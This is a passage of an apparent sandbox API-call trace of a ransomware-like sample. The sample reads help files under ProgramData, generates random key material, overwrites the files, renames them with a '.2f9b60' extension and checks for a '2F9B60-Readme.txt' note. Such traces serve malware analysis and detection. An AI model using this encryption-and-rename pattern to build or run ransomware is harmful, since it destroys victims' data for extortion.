Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn")) returned 0x2022 [0086.618] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.619] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.619] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x1d6af8e0 | out: lpFileSize=0x1d6af8e0*=326) returned 1 [0086.619] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.619] ReadFile (in: hFile=0x96c, lpBuffer=0x1d6af860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d6af8a8, lpOverlapped=0x0 | out: lpBuffer=0x1d6af860*, lpNumberOfBytesRead=0x1d6af8a8*=0x4, lpOverlapped=0x0) returned 1 [0086.620] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0086.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0086.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0086.620] NtQuerySystemTime (in: CurrentTime=0x1d6af7a0 | out: CurrentTime=0x1d6af7a0*=132462176924998000) returned 0x0 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x73a7fc33 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x481afa4c [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x5683f188 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x15e80da0 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x295ae5f2 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x7c91304b [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x39931ca4 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x7256e532 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x75727d13 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x1274a4f2 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x61160d32 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x569901d3 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x2ebcb8ff [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x678525b4 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x3e59c471 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x6e45d6c4 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x677bb277 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x29a42fb6 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x12221043 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x324e19ca [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x37e52f96 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x139417e1 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x498414a7 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x7ec87101 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x1a6f40c6 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0xaa0a319 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x4eb250db [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0xa9d6b9 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x104ac003 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x40b48800 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0x19351c05 [0086.621] RtlRandomEx (in: Seed=0x1d6af790 | out: Seed=0x1d6af790) returned 0xfca35c3 [0086.630] ReadFile (in: hFile=0x96c, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x1d6af790, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x1d6af790*=0x146, lpOverlapped=0x0) returned 1 [0086.630] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.630] WriteFile (in: hFile=0x96c, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1d6af794, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x1d6af794*=0x146, lpOverlapped=0x0) returned 1 [0086.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0086.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0086.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0086.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0086.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9eeb0 [0086.633] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.633] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x1d6af8b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x1d6af8b0*=0x11a, lpOverlapped=0x0) returned 1 [0086.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0086.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e710 [0086.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae70 [0086.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ae70) returned 1 [0086.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82ae70 [0086.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0086.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ade0 [0086.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ade0) returned 1 [0086.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0086.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858730 [0086.636] sprintf (in: _Dest=0x1b858730, _Format="%c%c" | out: _Dest="b1") returned 2 [0086.636] sprintf (in: _Dest=0x1b858732, _Format="%c%c" | out: _Dest="c7") returned 2 [0086.636] sprintf (in: _Dest=0x1b858734, _Format="%c%c" | out: _Dest="05") returned 2 [0086.636] sprintf (in: _Dest=0x1b858736, _Format="%c%c" | out: _Dest="49") returned 2 [0086.636] sprintf (in: _Dest=0x1b858738, _Format="%c%c" | out: _Dest="e5") returned 2 [0086.636] sprintf (in: _Dest=0x1b85873a, _Format="%c%c" | out: _Dest="64") returned 2 [0086.636] sprintf (in: _Dest=0x1b85873c, _Format="%c%c" | out: _Dest="5e") returned 2 [0086.636] sprintf (in: _Dest=0x1b85873e, _Format="%c%c" | out: _Dest="57") returned 2 [0086.636] sprintf (in: _Dest=0x1b858740, _Format="%c%c" | out: _Dest="14") returned 2 [0086.637] sprintf (in: _Dest=0x1b858742, _Format="%c%c" | out: _Dest="01") returned 2 [0086.637] sprintf (in: _Dest=0x1b858744, _Format="%c%c" | out: _Dest="f5") returned 2 [0086.637] sprintf (in: _Dest=0x1b858746, _Format="%c%c" | out: _Dest="48") returned 2 [0086.637] sprintf (in: _Dest=0x1b858748, _Format="%c%c" | out: _Dest="41") returned 2 [0086.637] sprintf (in: _Dest=0x1b85874a, _Format="%c%c" | out: _Dest="d6") returned 2 [0086.637] sprintf (in: _Dest=0x1b85874c, _Format="%c%c" | out: _Dest="7b") returned 2 [0086.637] sprintf (in: _Dest=0x1b85874e, _Format="%c%c" | out: _Dest="a8") returned 2 [0086.637] sprintf (in: _Dest=0x1b858750, _Format="%c%c" | out: _Dest="3b") returned 2 [0086.637] sprintf (in: _Dest=0x1b858752, _Format="%c%c" | out: _Dest="ec") returned 2 [0086.637] sprintf (in: _Dest=0x1b858754, _Format="%c%c" | out: _Dest="6f") returned 2 [0086.637] sprintf (in: _Dest=0x1b858756, _Format="%c%c" | out: _Dest="29") returned 2 [0086.637] sprintf (in: _Dest=0x1b858758, _Format="%c%c" | out: _Dest="85") returned 2 [0086.637] sprintf (in: _Dest=0x1b85875a, _Format="%c%c" | out: _Dest="b4") returned 2 [0086.637] sprintf (in: _Dest=0x1b85875c, _Format="%c%c" | out: _Dest="e4") returned 2 [0086.637] sprintf (in: _Dest=0x1b85875e, _Format="%c%c" | out: _Dest="6f") returned 2 [0086.637] sprintf (in: _Dest=0x1b858760, _Format="%c%c" | out: _Dest="b0") returned 2 [0086.637] sprintf (in: _Dest=0x1b858762, _Format="%c%c" | out: _Dest="e3") returned 2 [0086.637] sprintf (in: _Dest=0x1b858764, _Format="%c%c" | out: _Dest="c4") returned 2 [0086.637] sprintf (in: _Dest=0x1b858766, _Format="%c%c" | out: _Dest="85") returned 2 [0086.637] sprintf (in: _Dest=0x1b858768, _Format="%c%c" | out: _Dest="c1") returned 2 [0086.637] sprintf (in: _Dest=0x1b85876a, _Format="%c%c" | out: _Dest="5c") returned 2 [0086.637] sprintf (in: _Dest=0x1b85876c, _Format="%c%c" | out: _Dest="30") returned 2 [0086.637] sprintf (in: _Dest=0x1b85876e, _Format="%c%c" | out: _Dest="77") returned 2 [0086.637] sprintf (in: _Dest=0x1b858770, _Format="%c%c" | out: _Dest="f8") returned 2 [0086.637] sprintf (in: _Dest=0x1b858772, _Format="%c%c" | out: _Dest="6d") returned 2 [0086.637] sprintf (in: _Dest=0x1b858774, _Format="%c%c" | out: _Dest="c8") returned 2 [0086.638] sprintf (in: _Dest=0x1b858776, _Format="%c%c" | out: _Dest="c1") returned 2 [0086.638] sprintf (in: _Dest=0x1b858778, _Format="%c%c" | out: _Dest="e2") returned 2 [0086.638] sprintf (in: _Dest=0x1b85877a, _Format="%c%c" | out: _Dest="3d") returned 2 [0086.638] sprintf (in: _Dest=0x1b85877c, _Format="%c%c" | out: _Dest="cc") returned 2 [0086.638] sprintf (in: _Dest=0x1b85877e, _Format="%c%c" | out: _Dest="2d") returned 2 [0086.638] RtlInitAnsiString (in: DestinationString=0x1d6af928, SourceString="b1c70549e5645e571401f54841d67ba83bec6f2985b4e46fb0e3c485c15c3077f86dc8c1e23dcc2d" | out: DestinationString="b1c70549e5645e571401f54841d67ba83bec6f2985b4e46fb0e3c485c15c3077f86dc8c1e23dcc2d") [0086.638] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d6af8f8, SourceString="b1c70549e5645e571401f54841d67ba83bec6f2985b4e46fb0e3c485c15c3077f86dc8c1e23dcc2d", AllocateDestinationString=1 | out: DestinationString="b1c70549e5645e571401f54841d67ba83bec6f2985b4e46fb0e3c485c15c3077f86dc8c1e23dcc2d") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a5a70 [0086.638] wcscat (in: _Dest=0x1b85e710, _Source="b1c70549e5645e571401" | out: _Dest="C:\\ProgramData\\Microsoft Help\\b1c70549e5645e571401") returned="C:\\ProgramData\\Microsoft Help\\b1c70549e5645e571401" [0086.638] wcscat (in: _Dest=0x1b85e710, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\b1c70549e5645e571401.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\b1c70549e5645e571401.2f9b60" [0086.638] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\b1c70549e5645e571401.2f9b60", NtPathName=0x1d6af8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\b1c70549e5645e571401.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad7a0 [0086.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad7a0) returned 1 [0086.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.640] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x1d6af938, FileInformation=0x1d6af948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d6af938, FileInformation=0x1d6af948) returned 0x0 [0086.640] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x1d6af938, FileInformation=0x1d6af948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0086.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0086.643] FlushFileBuffers (hFile=0x96c) returned 1 [0086.644] CloseHandle (hObject=0x96c) returned 1 [0086.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e480 [0086.645] wcscpy (in: _Dest=0x1b86e480, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.645] wcscat (in: _Dest=0x1b86e480, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.645] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e480) returned 1 [0086.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e20) returned 1 Thread: id = 201 os_tid = 0xc54 [0086.647] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn")) returned 0x2022 [0086.647] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.648] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.648] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x2006f9e0 | out: lpFileSize=0x2006f9e0*=350) returned 1 [0086.648] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.648] ReadFile (in: hFile=0x96c, lpBuffer=0x2006f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2006f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2006f960*, lpNumberOfBytesRead=0x2006f9a8*=0x4, lpOverlapped=0x0) returned 1 [0086.649] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0086.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0086.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0086.649] NtQuerySystemTime (in: CurrentTime=0x2006f8a0 | out: CurrentTime=0x2006f8a0*=132462176925310000) returned 0x0 [0086.649] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x62dc1165 [0086.649] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x11e2a730 [0086.649] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x39b142b3 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x7a3fb6c7 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x6c05353c [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x18042877 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x7288e634 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x75af0a80 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x3c417e6c [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x2969e51c [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x6f456c87 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x411f9ef7 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x41435309 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x2896aeb5 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x3c36114d [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x777b2d2b [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x38a3590d [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x369352ab [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x2ad8285f [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x4224cce2 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x3a34d0b4 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x7e03f31f [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x4bf7a0f2 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x63c8380b [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x6e1a6661 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x5b1c36a0 [0086.650] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x2567b704 [0086.651] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0xf748443 [0086.651] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x369352ab [0086.651] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x718894 [0086.651] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x650b687d [0086.651] RtlRandomEx (in: Seed=0x2006f890 | out: Seed=0x2006f890) returned 0x5abe7f8b [0086.661] ReadFile (in: hFile=0x96c, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x2006f890, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x2006f890*=0x15e, lpOverlapped=0x0) returned 1 [0086.661] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.661] WriteFile (in: hFile=0x96c, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2006f894, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x2006f894*=0x15e, lpOverlapped=0x0) returned 1 [0086.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0086.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0086.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0086.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0086.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97210 [0086.665] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.665] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2006f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2006f9b0*=0x122, lpOverlapped=0x0) returned 1 [0086.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0086.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e710 [0086.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0086.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a7e0) returned 1 [0086.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9eeb0 [0086.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0086.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0086.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0086.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0086.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0086.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b7c1e20 [0086.668] sprintf (in: _Dest=0x1b7c1e20, _Format="%c%c" | out: _Dest="21") returned 2 [0086.668] sprintf (in: _Dest=0x1b7c1e22, _Format="%c%c" | out: _Dest="23") returned 2 [0086.668] sprintf (in: _Dest=0x1b7c1e24, _Format="%c%c" | out: _Dest="3f") returned 2 [0086.668] sprintf (in: _Dest=0x1b7c1e26, _Format="%c%c" | out: _Dest="5a") returned 2 [0086.668] sprintf (in: _Dest=0x1b7c1e28, _Format="%c%c" | out: _Dest="a2") returned 2 [0086.668] sprintf (in: _Dest=0x1b7c1e2a, _Format="%c%c" | out: _Dest="4f") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e2c, _Format="%c%c" | out: _Dest="8b") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e2e, _Format="%c%c" | out: _Dest="e0") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e30, _Format="%c%c" | out: _Dest="c8") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e32, _Format="%c%c" | out: _Dest="83") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e34, _Format="%c%c" | out: _Dest="78") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e36, _Format="%c%c" | out: _Dest="29") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e38, _Format="%c%c" | out: _Dest="d1") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e3a, _Format="%c%c" | out: _Dest="f2") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e3c, _Format="%c%c" | out: _Dest="10") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e3e, _Format="%c%c" | out: _Dest="ef") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e40, _Format="%c%c" | out: _Dest="49") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e42, _Format="%c%c" | out: _Dest="80") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e44, _Format="%c%c" | out: _Dest="6f") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e46, _Format="%c%c" | out: _Dest="b4") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e48, _Format="%c%c" | out: _Dest="c4") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e4a, _Format="%c%c" | out: _Dest="7f") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e4c, _Format="%c%c" | out: _Dest="eb") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e4e, _Format="%c%c" | out: _Dest="74") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e50, _Format="%c%c" | out: _Dest="9e") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e52, _Format="%c%c" | out: _Dest="fc") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e54, _Format="%c%c" | out: _Dest="2d") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e56, _Format="%c%c" | out: _Dest="b4") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e58, _Format="%c%c" | out: _Dest="5d") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e5a, _Format="%c%c" | out: _Dest="14") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e5c, _Format="%c%c" | out: _Dest="89") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e5e, _Format="%c%c" | out: _Dest="2c") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e60, _Format="%c%c" | out: _Dest="50") returned 2 [0086.669] sprintf (in: _Dest=0x1b7c1e62, _Format="%c%c" | out: _Dest="16") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e64, _Format="%c%c" | out: _Dest="3e") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e66, _Format="%c%c" | out: _Dest="87") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e68, _Format="%c%c" | out: _Dest="4f") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e6a, _Format="%c%c" | out: _Dest="b9") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e6c, _Format="%c%c" | out: _Dest="d4") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e6e, _Format="%c%c" | out: _Dest="b6") returned 2 [0086.670] sprintf (in: _Dest=0x1b7c1e70, _Format="%c%c" | out: _Dest="1f") 